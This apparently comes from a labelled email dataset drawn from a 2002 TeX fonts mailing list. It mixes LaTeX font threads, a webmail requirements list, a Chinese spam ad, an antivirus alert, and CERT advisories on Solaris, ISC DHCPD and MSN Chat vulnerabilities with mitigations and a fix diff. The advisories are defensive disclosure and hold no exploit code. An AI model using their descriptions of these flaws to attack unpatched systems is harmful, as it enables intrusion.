needed (e.g. chemical formulae). > >There is quite a bunch of presentation packages now available in >LaTeX (slides, foils, seminar, prosper, pdfslide, pdfscreen, >[ppower4]), yet most focus on questions like layout tricks and adding >navigation, leaving most font issues open. I for one adopted >pdflatex, the foils style, and supplemental packages to aid layout, >e.g. geometry, ragged2e, textpos, and paralist. > >I lack experience in MetaFont and company, which is why I shied away >from fiddling with them so far. FoilTeX's fltfonts.def is not for the >light-hearted to dive in. > >Can anyone in this list help? Is there a radically different approach? Despite the explanation, it is not clear what exactly you are trying to do. > > >Regards, >-- >Michael Sternberg, Ph.D. >""Who disturrrbs me at this time?"" << Zaphod Beeblebrox IV >> <*> > > --------------------------------------------- Michael Vulis MicroPress mailto://support@micropress-inc.com http://www.micropress-inc.com",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 01 May 2002 14:22:54 -0400",CERT Advisory CA-2002-10 Format String Vulnerability in rpc.rwalld," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-10 Format String Vulnerability in rpc.rwalld Original release date: May 1, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Sun Solaris 2.5.1, 2.6, 7, and 8 Overview The rwall daemon (rpc.rwalld) is a utility that is used to listen for wall requests on the network. When a request is received, it calls wall, which sends the message to all terminals of a time-sharing system. A format string vulnerability may permit an intruder to execute code with the privileges of the rwall daemon. A proof of concept exploit is publicly available, but we have not seen active scanning or exploitation of this vulnerability. I. Description rpc.rwalld is a utility that listens for remote wall requests. Wall is used to send a message to all terminals of a time-sharing system. If the wall command cannot be executed, the rwall daemon will display an error message. An intruder can consume system resources and potentially prevent wall from executing, which would trigger the rwall daemon's error message. A format string vulnerability exists in the code that displays the error message. This vulnerability may permit the intruder to execute code with the privileges of the rwall daemon. This vulnerability may be exploited both locally and remotely, although remote exploitation is significantly more difficult. II. Impact An intruder can execute code with the privileges of the rwall daemon, typically root. III. Solution Apply a patch Appendix A contains information provided by vendors for this advisory. If a patch is not available, disable the rwall daemon (rpc.rwalld) in inetd.conf until a patch can be applied. If disabling the rwall daemon is not an option, implement a firewall to limit access to rpc.rwalld (typically port 32777/UDP). Note that this will not mitigate all vectors of attack. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, please check the Vulnerability Note (VU#638099) or contact your vendor directly. Hewlett-Packard HP is not vulnerable. IBM IBM's AIX operating system, versions 4.3.x and 5.1L, is not susceptible to the vulnerability described. NetBSD NetBSD has never been vulnerable to this problem. Sun Microsystems Sun confirms that there is a format string vulnerability in rpc.rwalld(1M) which affects Solaris 2.5.1, 2.6, 7 and 8. However, this issue relies on a combination of events, including the exhaustion of system resources, which are difficult to control by a remote user in order to be exploited. Disabling rpc.rwalld(1M) in inetd.conf(4) is the recommended workaround until patches are available. Sun is currently generating patches for this issue and will be releasing a Sun Security Bulletin once the patches are available. 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Revision History May 1, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPNAuCKCVPMXQI2HJAQFPggP8CfV9uws6+YunrdNbxwEbKKopLCFRsL1Y Lk243wORHm3ocuWRWsqqWueaP/OuvG7lDS+0vOIsZlxUeKVZWWREUH8Lm2FMi3BB FRPTUWmjYqi3UcywqFnnZspXM+s9jL/fpRFBH1aqhIrpodB3+7HxqWEitll5vAJ4 c0WFy5v6S9k= =RnyP -----END PGP SIGNATURE----- ",0,1 Michael Sternberg ,"""MicroPress Inc."" ","Wed, 01 May 2002 21:11:52 +0200",Re: math fonts for presentations,"On Wed, May 01, 2002 at 01:32:04PM -0400, MicroPress Inc. wrote: > The third contender, which is of slightly different nature, but still > presentation-oriented, would be the ifmath, Thanks for pointing this out. But I'd like to stay kinda formal :-) > Slightly large x-height (which is normal for Helvetica) does not lead to a > crowded page by itself; after all, if needed, one can adjust the line > spacing a bit. Indeed - as Walter advised. > Despite the explanation, it is not clear what exactly you are trying to do. % test file indicating font issues in FoilTeX \\documentclass{foils} % we want vectors in math italic bold \\usepackage{bm} \\renewcommand{\\vec}[1]{\\bm{#1}} \\begin{document} \\foilhead{Subscripts are seriffed: H\\boldmath$_2$O\\\\ -- as is {\\slshape Slanted Bold}} \\begin{itemize} \\item Newton's law for particle $i$: \\[ \\vec{F}_i = \\dot{\\vec{p}}_i \\] \\item Text is sans serif, but math remains CM. \\end{itemize} \\end{document} I am looking mainly for a math font set that matches sans serif text. The other issue, namely, bold \\slshape appearing seriffed is not nearly as serious, but would be nice if fixed. Regards, -- Michael Sternberg, Ph.D. ""Who disturrrbs me at this time?"" << Zaphod Beeblebrox IV >> <*>",0,0 """Berthold K.P. Horn"" ",Michael Sternberg ,"Wed, 01 May 2002 12:21:26 -0700",Re: math fonts for presentations,"Hi: At 06:30 PM 5/1/2002 +0200, you wrote: >The general wisdom for such presentations is to use sans serif to >improve readability. Thus, FoilTeX and also SliTeX settle for sans >fonts by default; however, math fonts remain the CM seriffed fonts. Well, in this country at least sans serif math is favoured in school text books, where hairy math rarely occurs. Otherwise people tend to stay away from it, particularly when they are using sans serif to mean something (like a tensor). As for being designed for presentation, being heavier than CM etc., Lucida Bright and Lucida New Math ought to be considered. Not sans serif of course, but ""robust"" enough to withstand low and medium resolution rasterization. For discussion of the Lucida super family see: http://members.aol.com/willadams/lucida.txt For amusing footnotes on font readability see very bottom of http://www.yandy.com/lucida.htm and http://www.yandy.com/mathtime.htm Another thing to note is that if you magnifiy any font enough it will start to look heavier (which is why ""optical scaling"" is needed). So one option is to typeset using small fonts, and use a large value for \\magnification. Regards, Berthold. >There are apparently only two contenders for sans serif math fonts, >both offered commercially by micropress, and both of which I find not >quite suiteable for the particular purpose: > > ... > >Can anyone in this list help? Is there a radically different approach? > > >Regards, >-- >Michael Sternberg, Ph.D. -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (MT) ",0,1 Michael Sternberg ,Walter Schmidt ,"Wed, 01 May 2002 22:31:37 +0200",Re: math fonts for presentations,"On Wed, May 01, 2002 at 07:27:27PM +0200, Walter Schmidt wrote: > On Wed, 1 May 2002 18:30:15 +0200, Michael Sternberg wrote: > \\usepackage[scaled=0.93]{hvmaths} > \\linespread{1.05} > \\normalfont Aha! I tried this on my test sheet. Of course, not having the scalable fonts leads to some stuttering in the dvips step, but the output of above looks indeed MUCH better than with plain hvmath. Yet, even making allowances, I still believe Helvetica is a tad too heavy. Furthermore, \\sum and \\prod are outrageously heavy, so that I'd like to resort to package exscale. > But -- believe me -- it will look really good > with scalable Type1 fonts :-) I sure do! But I doubt my boss does when he hears the price :-) > > o cmbright: As the name implies, this is rather light and thus, > > not quite unsuitable for projection. > You mean ""not suitable""? Yes, that's what I meant - I apologise. Thank you for the advice, and of course your marvellous work on PSNFSS in the first place. Regards, -- Michael Sternberg, Ph.D. ""Who disturrrbs me at this time?"" << Zaphod Beeblebrox IV >> <*>",0,0 Walter Schmidt ,Michael Sternberg ,"Thu, 02 May 2002 00:15:28 +0200",Re: math fonts for presentations,"On Wed, 1 May 2002 21:11:52 +0200, Michael Sternberg wrote: >> Despite the explanation, it is not clear what exactly you are trying to do. > > % test file indicating font issues in FoilTeX > \\documentclass{foils} > [...] You're fighting at several front lines here: (1) foils.cls defines its own math font families, because the normal definitions of the CM font families do not provide scaling to more than 25pt. Unfortunately, foils.cls does this in a somewhat strange way, which differs from the default math font setup. For instance, the normal definition of \\mathrm is changed without need. (2) There exist no CM Sansserif math italic fonts. (3) The CM Sansserif _text_ fonts have no bold slanted variant. (The EC fonts do, but EC Sansserif is UGLY.) (4) You are misusing a mixture of text and math to typeset chemical formulas. This is evil. With HV-Math you can get it completely right, but if you insist in a ""poor man's solution"", see the below example. >I am looking mainly for a math font set that matches sans serif >text. There is no math font that matches CM Sanserif. Period. best wishes Walter %%%%%%%%%%%%%%%%%%%%%%% snip %%%%%%%%%%%%%%%%%%%%%%%%%%%%% \\documentclass{foils} % make numbers and operator names sans serif: \\SetSymbolFont{operators}{normal}{OT1}{fcmss}{m}{n} \\SetSymbolFont{operators}{bold}{OT1}{fcmss}{bx}{n} % fix \\mathrm, which is broken by foils.cls: \\DeclareSymbolFontAlphabet{\\mathrm}{operators} % Notice that \\mathrm is always the _upright_ font, % which is used for numbers and operator names. % It's still upright, but sans serif now. % Unf., there is no complete CM Sansserif Math Italic font. % Do NOT typeset variables as sans serif upright, as this % is ugly, wrong, misleading and the spacing will be too tight. % we want vectors in math italic bold \\usepackage{bm} \\renewcommand{\\vec}[1]{\\bm{#1}} \\begin{document} \\foilhead{Subscripts are not seriffed: {\\boldmath $\\mathrm{H}_2\\mathrm{O}$}} % Notice that \\boldmath makes all formulas bold, % within its scope. {\\bfseries\\slshape Sansserif Slanted Bold is not available.} \\begin{itemize} \\item Newton's law for particle $i$: $\\vec{F}_i = \\dot{\\vec{p}}_i$ \\item We see that text is sans serif, but math remains mostly CM. \\end{itemize} \\end{document} %%%%%%%%%%%%%%%%%%%%%%%%%% snap %%%%%%%%%%%%%%%%%%%%%%%%%%%%% ",0,0 巨鲸音乐网 ,tex-fonts@math.utah.edu,"Fri, 03 May 2002 17:34:21 +0800",亚洲最强音乐网免费注册中……,"巨鲸音乐网迎新会员活动   最令人瞩目的<巨鲸音乐网> <巨鲸音乐网>是目前国内最大的网络音乐网站,国内唯一一家所有音乐均有版权的音乐网站,提供上百万首歌曲的在线免费试听,真正让您足不出户就能够享受到最新,最权,最棒,最受欢迎的音乐!如果您是一个音乐爱好者,直接到巨鲸TOP100音乐网吧,全新音乐一网打尽,别的网站根本不用去了.而且现在正是网站迎新会员活动期间,注册完全免费. 巨鲸音乐网,打造鲸及重量音乐天地!!! 点击这里马上注册! Copyright 2006 Hebei Frontsoft All Right Reserved melon1818 i8music.com ICP备案许可证：冀ICP备05028777号",1,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 06 May 2002 16:52:19 -0400",CERT Advisory CA-2002-11 Heap Overflow in Cachefs Daemon (cachefsd)," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-11 Heap Overflow in Cachefs Daemon (cachefsd) Original release date: May 06, 2002 Last revised: Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Sun Solaris 2.5.1, 2.6, 7, and 8 (SPARC and Intel Architectures) Overview Sun's NFS/RPC file system cachefs daemon (cachefsd) is shipped and installed by default with Sun Solaris 2.5.1, 2.6, 7, and 8 (SPARC and Intel architectures). A remotely exploitable vulnerability exists in cachefsd that could permit a remote attacker to execute arbitrary code with the privileges of the cachefsd, typically root. The CERT/CC has received credible reports of scanning and exploitation of Solaris systems running cachefsd. I. Description A remotely exploitable heap overflow exists in the cachefsd program shipped and installed by default with Sun Solaris 2.5.1, 2.6, 7, and 8 (SPARC and Intel architectures). Cachefsd caches requests for operations on remote file systems mounted via the use of NFS protocol. A remote attacker can send a crafted RPC request to the cachefsd program to exploit the vulnerability. Logs of exploitation attempts may resemble the following: May 16 22:46:08 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Segmentation Fault - core dumped May 16 22:46:21 victim-host last message repeated 7 times May 16 22:46:22 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Bus Error- core dumped May 16 22:46:24 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Segmentation Fault - core dumped May 16 22:46:56 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Bus Error - core dumped May 16 22:46:59 victim-host last message repeated 1 time May 16 22:47:02 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Segmentation Fault - core dumped May 16 22:47:07 victim-host last message repeated 3 times May 16 22:47:09 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Hangup May 16 22:47:11 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Segmentation Fault - core dumped According a Sun Alert Notification, failed attempts to exploit this vulnerability may leave a core dump file in the root directory. The presence of the core file does not preclude the success of subsequent attacks. Additionally, if the file /etc/cachefstab exists, it may contain unusual entries. This issue is also being referenced as CAN-2002-0085: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0085 The Australian Computer Emergency Response Team has also issued an advisory related to incident activity exploiting cachefsd: http://www.auscert.org.au/Information/Advisories/advisory/AA-2002.01.txt II. Impact A remote attacker may be able to execute code with the privileges of the cachefsd process, typically root. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. If a patch is not available, disable cachefsd in inetd.conf until a patch can be applied. If disabling the cachefsd is not an option, follow the suggested workaround in the Sun Alert Notification. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, please check the Vulnerability Note (VU#635811) or contact your vendor directly. IBM IBM's AIX operating system, all versions, is not vulnerable. SGI SGI does not ship with SUN cachefsd, so IRIX is not vulnerable. Sun See the Sun Alert Notification available at http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F44309. _________________________________________________________________ The CERT/CC acknowledges the eSecurity Online Team for discovering and reporting on this vulnerability and thanks Sun Microsystems for their technical assistance. _________________________________________________________________ Feedback can be directed to the authors: Jason A. Rafail and Jeffrey S. Havrilla ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-11.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History May 06, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPNbqwqCVPMXQI2HJAQHPBwP/ZElJx24KBdtWjqsaEv7qb9uFmA/5xOkc OgCZ/6EeXiEyK+D/faHAvttarxG5jABSrUnMjXI5aqa/3CaDmrMNnUKjYfxzt1GY TZFhLWUfE6F35sxRshLBwLmy88qkoZqLTqnWn/YqgCU+f8UUnqCIuVIxf2q1AgJj ExjXmDs3tbQ= =LUIX -----END PGP SIGNATURE----- ",0,1 Ruben Carbonell ,"Brian Bennett , Ryan Eberhard , Mark Poepping , Walter Wong , Douglas Blair , Ingrid Hultgren ","Tue, 07 May 2002 16:13:49 -0400",Requirements: read-ahead,"Hi all, Here is the requirements document, along with how SilkyMail and SquirrelMail stack up to the requirements. We'll have the user evaluations on SilkyMail and SquirrelMail by the meeting on Thursday. Items 6.1 and 7.3a will need to be completed and addressed. Thanks Ruben +++++++++++++++++++++++++++++++++ + Webmail Requirements Document + + User Services + + version 2.0 + +++++++++++++++++++++++++++++++++ 0.0 Definitions * MUST - The web mail client simply cannot be supported unless this requirement is met. * SHOULD - While not absolutely mandatory, this feature is considered very important. * REQUESTED - Feature would add significant value, though it does not warrant either must-have or should-have functionality. 1.0 Compose New Mail 1.1 Must be able to copy outgoing mail to a sent mail folder a. Squirrel: Yes b. Silky: Yes 1.2 Should be able to auto-insert signature a. Squirrel: Yes b. Silky: Yes 1.3 Requested to use LDAP look up a. Squirrel: Plug-in available. b. Sillky: Cannot determine since it is not currently configured to use our LDAP server -- which I can't change. 1.4 Requested to have Address Book expansion a. Squirrel: Plug-in available - though it requires JavaScript. It would be nice, but certainly not necessary. b. Silky: No 2.0 Bboards 2.1 Must show all subscribed bboards a. Squirrel: Yes b. Silky: Yes 2.2 Should be able to subscribe/unsubscribe to bboards a. Squirrel: Can't subscribe; folder list gives time out error b. Silky: Must be on higher user level. Couldn't test, time out error. 2.3 Should be able to check for messages in bboards, so you know how many (new) messages you have a. Squirrel: Plug-in available - Very desirable to satisfy this requirement; it shows message count, unread count, and space used b. Silky: No 2.4 Requested to be able to search for bboards a. Squirrel: Couldn't test, time out error. b. Silky: Must be on higher user level. Couldn't test, time out error. 3.0 Personal Folders (inbox.*) 3.1 Must be able to show all subscribed personal folders a. Squirrel: Yes b. Silky: Yes 3.2 Must be able to copy/move messages between folders a. Squirrel: Yes b. Silky: Must be on higher user level - yes. 3.3 Should show ALL personal folders a. Squirrel: No, unless folder list that times out would show it b. Silky: Yes 3.4 Should be able to create/rename/delete personal folders a. Squirrel: Yes b. Silky: Must be on higher user level - yes. 3.5 Should check for messages in personal folders, so you know how many (new) messages you have a. Squirrel: Plug-in available - Very desirable to satisfy this requirement; it shows message count, unread count, and space used b. Silky: No 4.0 Message Features 4.2 Must be able to view full message header a. Squirrel: Yes b. Silky: Must be on higher user level - yes. 4.3 Must be able to send attachments / view them / download them a. Squirrel: Yes b. Silky: Must be on higher user level - yes. 4.4 Must be able to print messages easily a. Squirrel: Yes b. Silky: No. Must click in frame first, then print that frame. 4.5 Must be able to specify how to reply to messages (reply to one / all) a. Squirrel: Yes b. Silky: Yes 4.6 Must be able to excerpt message on reply a. Squirrel: Yes b. Silky: Yes 5.0 Web Specific 5.1 Must be supported on Netscape versions 4.x and 6.x a. Squirrel: Yes b. Silky: Yes 5.2 Must be supported on Internet Explorer versions 5.0 and above a. Squirrel: Yes b. Silky: Yes 5.3 Must be able to do SSL a. Squirrel: Yes b. Silky: Yes 5.4 Must be free of JavaScript a. Squirrel: Yes b. Silky: NO. 5.5 Must be free of any dependence on a web browser plug-in a. Squirrel: Yes b. Silky: Yes 5.6 Should be able to view in a frameset if we want to serve in MyAndrew and hide URL a. Squirrel: Yes, unless you change display prefs and click its refresh button. b. Silky: No. Too many options refresh pages in full browser frame. 5.7 Requested to have other web browser support: - PC: IE 4.x, Mozialla RC1, Opera 6.0 (no testing done here, yet) - Mac: OmniWeb 4, Opera 5.0 (no testing done here, yet) 6.0 Administration 6.1 Must be able to reset user preferences ** a. Squirrel: ""Will add non-trivial amount of time to project"" - Can we please get a detailed explanation here? b. Silky: If using IMSP yes 6.2 User preferences must not overlap a. Squirrel: Yes, its preferences are unique to it b. Silky: Appears that it would share Mulberry prefs, which seems to indicate compounding Mulberry and SilkyMail prefs resets/problems. 7.0 Other 7.1 Must show quota warnings, but specifically any server messages a. Squirrel: No b. Silky: No 7.2 Requested to view quota a. Squirrel: Plug-ins available. A must if SquirrelMail can't show quota warnings from server b. Silky: No 7.3 Plug-in flexibility a. Squirrel: Yes, specifics to be based on plug-in evaluation by Walter/Larry b. Silky: No ",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 08 May 2002 13:34:04 -0400",CERT Advisory CA-2002-12 Format String Vulnerability in ISC DHCPD," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-12 Format String Vulnerability in ISC DHCPD Original release date: May 8, 2002 Last revised:-- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * ISC DHCPD 3.0 to 3.0.1rc8 inclusive Overview The Internet Software Consortium (ISC) provides a Dynamic Host Configuration Protocol Daemon (DHCPD), which is a server that is used to allocate network addresses and assign configuration parameters to hosts. A format string vulnerability may permit a remote attacker to execute code with the privileges of the DHCPD (typically root). We have not seen active scanning or exploitation of this vulnerability. I. Description ISC's DHCPD listens for requests from client machines connecting to the network. Versions 3 to 3.0.1rc8 (inclusive) of DHCPD contains an option (NSUPDATE) that is enabled by default. NSUPDATE allows the DHCP server to send information about the host to the DNS server after processing a DHCP request. The DNS server responds by sending an acknowledgement message back to the DHCP server that may contain user-supplied data (like a host name). When the DHCP server receives the acknowledgement message from the DNS server, it logs the transaction. A format string vulnerability exists in ISC's DHCPD code that logs the transaction. This vulnerability may permit a remote attacker to execute code with the privileges of the DHCP daemon. II. Impact A remote attacker may be able to execute code with the privileges of the DHCPD (typically root). III. Solution Note that some of the mitigation steps recommended below may have significant impact on your normal network operations. Ensure that any changes made based on the following recommendations will not unacceptably affect any of your operations. Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. Disable the DHCP service As a general rule, the CERT/CC recommends disabling any service or capability that is not explicitly required. Depending on your network configuration, you may not need to use DHCP. Ingress filtering As a temporary measure, it may be possible to limit the scope of this vulnerability by blocking access to DHCP services at the network perimeter. Ingress filtering manages the flow of traffic as it enters a network under your administrative control. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound traffic to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound traffic to non-authorized services. For DHCP, ingress filtering of the following ports can prevent attackers outside of your network from reaching vulnerable devices in the local network that are not explicitly authorized to provide public DHCP services. bootps 67/tcp # Bootstrap Protocol Server bootps 67/udp # Bootstrap Protocol Server bootpc 68/tcp # Bootstrap Protocol Client bootpc 68/udp # Bootstrap Protocol Client Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, please check the Vulnerability Note (VU#854315) or contact your vendor directly. Alcatel The security of our customers' networks is of highest priority for Alcatel. Alcatel is aware of this security issue in the DHCP implementation of ISC and has put measures in place to assess which of its products might be affected and to apply the necessary fixes where required. An update will be shortly published to provide more details on any affected products. Conectiva Conectiva Linux 8 ships dhcp-3.0 and is vulnerable to this problem. Updates will be available at our ftp site and an announcement will be sent to our mailing lists as soon as CERT publishes its advisory. F5 Networks, Inc. F5 Networks' products do not include any affected version of ISC's DHCPD, and are therefore not vulnerable. FreeBSD The FreeBSD base system does not ship with the ISC dhcpd server by default and is not affected by this vulnerability. The ISC dhcpd server is available in the FreeBSD Ports Collection; updates to the ISC dhcp port (ports/net/isc-dhcp3) are in progress and corrected packages will be available in the near future. IBM IBM's AIX operating system, all versions, is not vulnerable. Internet Software Consortium A patch is included below, and we have a patched version of 3.0 available (3.0pl1) and a new release candidate for the next bug-fix release (3.0.1RC9). Both of these new releases are not vulnerable. --- common/print.c Tue Apr 9 13:41:17 2002 +++ common/print.c.patched Tue Apr 9 13:41:56 2002 @@ -1366,8 +1366,8 @@ *s++ = '.'; *s++ = 0; if (errorp) - log_error (obuf); + log_error (""%s"",obuf); else - log_info (obuf); + log_info (""%s"",obuf); } #endif /* NSUPDATE */ Lotus Development Corporation This issue does not affect Lotus products. Microsoft Corporation Microsoft does not ship the ISC DHCPD program. NetBSD NetBSD fixed this during a format string sweep performed on 11-Oct-2000. No released version of NetBSD is vulnerable to this issue. Silicon Graphics, Inc. SGI is not vulnerable. _________________________________________________________________ The CERT Coordination Center acknowledges Next Generation Security Technologies as the discoverer of this vulnerability and thanks them and the Internet Software Consortium (ISC) for their cooperation, reporting, and analysis of this vulnerability. _________________________________________________________________ Feedback can be directed to the author: Ian A. Finlay ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-12.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History May 8, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPNle2qCVPMXQI2HJAQEJ5gP/SKXwgQG1Z4Y+dQmAqGnHxYEZuKaPDuLB zLmkVcPQrpdo8DVDNpy3uMK1Mfro3RFLMg5mTON4noHiiIQb5M7iZPWXV5qnQNt3 s4ga8RseymwUvbNbdBo6x9EdjrM2+iQSrJHbVF0RXRvZT9zRAg+sfzHtGwEeHxQ3 XuLLU2DySLc= =Kvhw -----END PGP SIGNATURE----- ",0,1 Antigen@nlr.nl,tex-fonts@sunshine.math.utah.edu,"Thu, 09 May 2002 00:52:53 +0200",Antigen Notification:Antigen found VIRUS= W32/Klez.H@m (Norman) virus,"Antigen for Exchange found blank ~pif infected with VIRUS= W32/Klez.H@m (Norman) virus. The file is currently Removed. The message, ""A special funny website"", was sent from info and was discovered in Third Storage Group\\Breeman, J.H.\\Inbox located at National Aerospace Laboratory NLR/First Administrative Group/NTINTRAN. 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Systems Affected Microsoft Windows systems with one or more of the following: * Microsoft MSN Chat control * Microsoft MSN Messenger 4.6 and prior * Microsoft Exchange Instant Messenger 4.6 and prior Overview Microsoft's MSN Chat is an ActiveX control for Microsoft Messenger, an instant messenging client. A buffer overflow exists in the ActiveX control that may permit a remote attacker to execute arbitrary code on the system with the privileges of the current user. I. Description A buffer overflow exists in the ""ResDLL"" parameter of the MSN Chat ActiveX control that may permit a remote attacker to execute arbitrary code on the system with the privileges of the current user. This vulnerability affects MSN Messenger and Exchange Instant Messenger users. Since the control is signed by Microsoft, users of Microsoft's Internet Explorer (IE) who accept and install Microsoft-signed ActiveX controls are also affected. The Microsoft MSN Chat control is also available for direct download from the web. The tag could be used to embed the ActiveX control in a web page. If an attacker can trick the user into visiting a malicious site or the attacker sends the victim a web page as an HTML-formatted email or newsgroup posting then this vulnerability could be exploited. This acceptance and installation of the control can occur automatically within IE for users who trust Microsoft-signed ActiveX controls. When the web page is rendered, either by opening the page or viewing the page through a preview pane, the ActiveX control could be invoked. Likewise, if the ActiveX control is embedded in a Microsoft Office (Word, Excel, etc.) document, it may be executed when the document is opened. According to the Microsoft Advisory (MS02-022): It's important to note that this control is used for chat rooms on several MSN sites in addition to the main MSN Chat site. If you have successfully used chat on any MSN-site, you have downloaded and installed the chat control. The CERT/CC has published information on ActiveX in Results of the Security in ActiveX Workshop (pdf) and CA-2000-07. This issue is also being referenced as CAN-2002-0155: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0155 II. Impact A remote attacker may be able to execute arbitrary code with the privileges of the current user. III. Solution Apply a patch from your vendor Microsoft has released a patch, a fixed MSN Chat control, and upgrades to address this issue. It is important that all users apply the patch since it will prevent the installation of the vulnerable control on systems that have not already installed it. Download location for the patch: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=38790 Download location for updated version of MSN Messenger with the corrected control: http://messenger.msn.com/download/download.asp?client=1&update=1 Download location for updated version of Exchange Instant Messenger with the corrected control: http://www.microsoft.com/Exchange/downloads/2000/IMclient.asp Microsoft also suggests that the following Microsoft mail products: Outlook 98 and Outlook 2000 with the Outlook Email Security Update, Outlook 2002, and Outlook Express will block the exploitation of this vulnerability via email because these products will open HTML email in the Restricted Sites zone. Other mitigation strategies include opening web pages and email messages in the Restricted Sites zone and using email clients that permit users to view messages in plain-text. Likewise, it is important for users to realize that a signed control only authenticates the origin of the control and does not imply any information with regard to the security of the control. Therefore, downloading and installing signed controls through an automated process is not a secure choice. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, please check the Vulnerability Note (VU#713779) or contact your vendor directly. Microsoft See http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-022.asp _________________________________________________________________ The CERT/CC acknowledges the eEye Team for discovering and reporting on this vulnerability and thanks Microsoft for their technical assistance. _________________________________________________________________ Feedback can be directed to the author: Jason A. Rafail ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-13.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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get comes via the tex-fonts mailing list. What I was wondering was this: is there any way of applying some spam filtering at the tex-fonts server? Rowland. ",0,0 """James H. Cloos Jr."" ",tex-fonts@sunshine.math.utah.edu,"Fri, 17 May 2002 00:33:40 -0400",Re: Spam and suchlike,">>>>> ""Rowland"" == Rowland McDonnell writes: Rowland> All the spam I get comes via the tex-fonts mailing list. Rowland> What I was wondering was this: is there any way of applying Rowland> some spam filtering at the tex-fonts server? Just for the record, if any of the (huge load) of spam I'm seeing is coming via this list, it is NOT comming with an envelope sender of tex-fonts-errors@sunshine.math.utah.edu like the legitimate list output does. (Else it would get filtered with the list's mail rather than my 